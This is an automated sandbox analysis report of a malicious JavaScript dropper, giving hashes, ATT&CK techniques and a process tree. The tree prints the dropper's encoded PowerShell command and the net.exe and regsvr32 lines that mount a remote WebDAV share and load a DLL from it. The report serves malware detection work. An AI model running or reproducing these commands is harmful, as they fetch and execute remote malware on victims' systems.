2b0dceaab721011f83049bc1409718ea526025e80a78ba8c42cf08b6a3d5f5ba

Analysis

max time kernel
300s
max time network
202s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/11/2024, 06:28

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General

Target

313026480196628751.js
Size

644KB
MD5

b50e9b98bc8f5f26bb1b181896a72a56
SHA1

5b714574e80fe99affccc01b3d4b211c8cf03d76
SHA256

0a9d8d9d025a2a74d55d681b50013f8a593eeba62609af8813af7f1943479e32
SHA512

3f4ad760e17faaa05716c9c8d856a2ad29c54274502843fe6ad6fa3b46406c73f61a8df915b80bd558afdf4ed8cd5da30ec4155f1cdcfe4611aaf2c38e5b5d58
SSDEEP

12288:4LLtzTjlkt/v7//BlkT8Fz7//BlkT6ltdQjm:4LLtGt/v7//BlkT8Fz7//BlkT6ltdQjm

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3584	powershell.exe
3584	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3584	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 3584	3336	wscript.exe	83
PID 3336 wrote to memory of 3584	3336	wscript.exe	83
PID 3584 wrote to memory of 208	3584	powershell.exe	85
PID 3584 wrote to memory of 208	3584	powershell.exe	85
PID 3584 wrote to memory of 3104	3584	powershell.exe	86
PID 3584 wrote to memory of 3104	3584	powershell.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\313026480196628751.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA7AHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA4ADgANgA0ADEAMwA1ADAAOQAyADMAMAAwADAALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.79@8888\davwwwroot\
    3⤵
    PID:208
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\94.159.113.79@8888\davwwwroot\88641350923000.dll
    3⤵
    PID:3104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sdoqqwhp.lpp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3584-0-0x00007FFBC4243000-0x00007FFBC4245000-memory.dmp

Filesize
8KB

Download
memory/3584-1-0x00000206CB250000-0x00000206CB272000-memory.dmp

Filesize
136KB

Download
memory/3584-11-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3584-12-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download
memory/3584-15-0x00007FFBC4240000-0x00007FFBC4D01000-memory.dmp

Filesize
10.8MB

Download